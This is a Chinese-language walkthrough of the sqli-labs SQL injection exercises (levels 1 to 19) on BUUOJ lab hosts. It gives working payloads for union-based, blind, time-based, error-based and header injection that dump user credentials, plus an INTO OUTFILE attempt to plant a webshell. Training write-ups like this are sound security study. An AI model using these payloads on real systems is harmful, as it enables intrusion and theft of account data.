用校园网可能不能成功发送payload,切记!!!
Less-01
先判断是字符型注入还是数字型注入
payload:http://8ac8c2ec-ac49-4043-98a6-ebb1506ca92f.node4.buuoj.cn/Less-1/?id=1 and 1=2–+
再判断注入点
payload:http://8ac8c2ec-ac49-4043-98a6-ebb1506ca92f.node4.buuoj.cn/Less-1/?id=-1' union select 1,2,3–+
查看数据库名称
payload:http://8ac8c2ec-ac49-4043-98a6-ebb1506ca92f.node4.buuoj.cn/Less-1/?id=-1' union select 1,database(),3–+
查看库中的表
payload:http://8ac8c2ec-ac49-4043-98a6-ebb1506ca92f.node4.buuoj.cn/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=”security”–+
查看用户表中字段
payload:http://8ac8c2ec-ac49-4043-98a6-ebb1506ca92f.node4.buuoj.cn/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=”users”–+
查看用户名和密码
payload:http://4f1d0aae-57f1-4a98-b3ef-e509432f5d43.node4.buuoj.cn/Less-1/?id=-1' union select 1,group_concat(username,password),3 from security.users–+
换个方式显示
payload:http://4f1d0aae-57f1-4a98-b3ef-e509432f5d43.node4.buuoj.cn/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from security.users–+
Less-02
判断是数字型注入还是字符型注入
payload:http://4f1d0aae-57f1-4a98-b3ef-e509432f5d43.node4.buuoj.cn/Less-2/?id=3-1
判断注入点
payload:http://4f1d0aae-57f1-4a98-b3ef-e509432f5d43.node4.buuoj.cn/Less-2/?id=-1%20union%20select%201,2,3--+
往下操作与第一题类似,payload就差了一个单引号
Less-03
判断为字符型注入还是数字型注入
payload:http://4f1d0aae-57f1-4a98-b3ef-e509432f5d43.node4.buuoj.cn/Less-3/?id=2-1
该题为字符型注入,但直接使用联合注入报错
根据题目提示,在id表示的数据及引号后加上括号,再进行联合注入,注入成功
往下与第一题相同,union后的payload一致
Less-04
判断为字符型注入还是数字型注入
payload:http://4f1d0aae-57f1-4a98-b3ef-e509432f5d43.node4.buuoj.cn/Less-4/?id=2-1
使用单引号进行闭合,报错
组合单引号、双引号以及括号得到注入点
payload:http://4f1d0aae-57f1-4a98-b3ef-e509432f5d43.node4.buuoj.cn/Less-4/?id=-1") union select 1,2,3–+
往下步骤与上述题目相同
Less-05
判断为字符型注入还是数字型注入
回显报错数据,尝试盲注
payload:http://bb14e092-f5e9-4e78-83cb-bc6ded391eb2.node4.buuoj.cn/Less-5/?id=1%27%20and%20select%201,2,3--+
对查询结果进行切片,再与各个字符比较,根据报错与否判断比较结果
改变上一个payload中c的值以遍历出数据库名称,再结合前面题目的payload逐步爆出表名和列名
- 列名以此类推
可以用python写个脚本来跑,或者使用burpsuite
另外,还可以使用updataxml()函数来获取相关信息
Less-06
与上一道题类似,将单引号换为双引号
Less-07
- 利用永真永假的条件配合and和or判断参数id的闭合方式
payload:http://3ac97a07-8597-4e0b-9689-f364b63dc003.node4.buuoj.cn/Less-7/?id=1%27))%20and%201=1--+
- 利用select xxx into outfile xxx/xxx的方式向服务器中写入文件,文件内容为一句话木马
payload:http://3ac97a07-8597-4e0b-9689-f364b63dc003.node4.buuoj.cn/Less-7/?id=1')) union select 1,’2’,”“ into outfile “./“ –+
由于不知道网站的根目录,所以目前无法对传入文件的成功与否做出判断
Less-08
- 判断参数闭合方式
payload:http://3ac97a07-8597-4e0b-9689-f364b63dc003.node4.buuoj.cn/Less-8/?id=1%27%20or%201=1%20--+
- 由于注入错误时不回显,因此可以使用上述的盲注
- 往后步骤与上述盲注步骤一致
Less-09
- 在判断参数闭合方式时,发现回显不改变
payload:http://3ac97a07-8597-4e0b-9689-f364b63dc003.node4.buuoj.cn/Less-9/?id=1%27%20and%201=2--+
- 尝试基于时间的盲注
可以看到网页根据设定的时间正在加载,说明注入成功
- 接下来只需要将sleep函数的第一个参数替换为payload,即可根据网页响应时间判断结果
payload取上述盲注payload的查询部分
Less-10
- 将闭合参数的单引号替换为双引号,其余一致
Less-11
这道题是使用post方式提交数据的,在多次尝试以及上网找资料之后,发现有两点需要注意
- 不可以直接将url编码之后的数据(如%20)直接提交
- 最后的注释不可以用“–+”,而应该用“#”
上面这样注释是行不通的,用“#”代替“–+”之后如下图
然后再用之前写过的题当中出现的联合注入
Less-12
原理同上一题一致,唯一差别是闭合方式不同
less-13
这道题的闭合方式与上一道题目比较相似,只不过把双引号替换为单引号,比较不一样的是这道题不可以使用上一道题的联合注入,可以使用报错注入,具体的payload可参照上述题目有关报错注入的部分
下图是联合注入后无回显的结果
这里使用了报错注入返回了mysql的绝对路径
payload:1’) and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)#
这里查询到了当前的数据库
需要注意的是由于返回长度的限制,回显无法显示所有的结果,可以根据payload作相应调整
payload:1’) and updatexml(1,concat(0x7e,(select group_concat(username,password) from security.users),0x7e),1)#
Less-14
这道题与上一道题类似,唯一不同的仍是闭合方式不同
Less-15
这道题考察的是post方式的基于时间的盲注
一开始依然先判断闭合方式
然后用if语句构造基于时间的盲注
这里无需关注是否登录成功,只需关注响应时间
然后根据上述题目中有关基于时间的盲注有关的题目的payload进行注入
payload:1’ or if((substr((select group_concat(schema_name) from information_schema.schemata),1,1)=’c’),sleep(2),1) #
Less-16
这道题与上一道题目差不多,唯一区别仍是闭合方式不同
Less-17
这道题涉及到了sql语句中update部分,模拟的是在登录成功后修改密码时的注入
这里由于无法回显闭合方式是否正确,故使用基于时间的盲注中的小技巧进行判断
往下的过程涉及到子查询的概念,即以查询的结果作为下一次查询的范围
查数据库
往后只需将select database()替换为先前题目中相应的payload即可
Less-18
一开始给出了本机的ip地址,意义不明(估计是提示可以注入某些类型的信息以执行)
再经过对username和password的多次注入后发现没有什么效果,尝试登录
可以看出登录后回显了user agent,则可以通过抓包修改user agent的方式注入
payload:’and updatexml(1,concat(0x7e,database(),0x7e),1) or ‘
Less-19
这道题与上一道差不多,只不过修改的是Referer字段
payload:与上一道题一致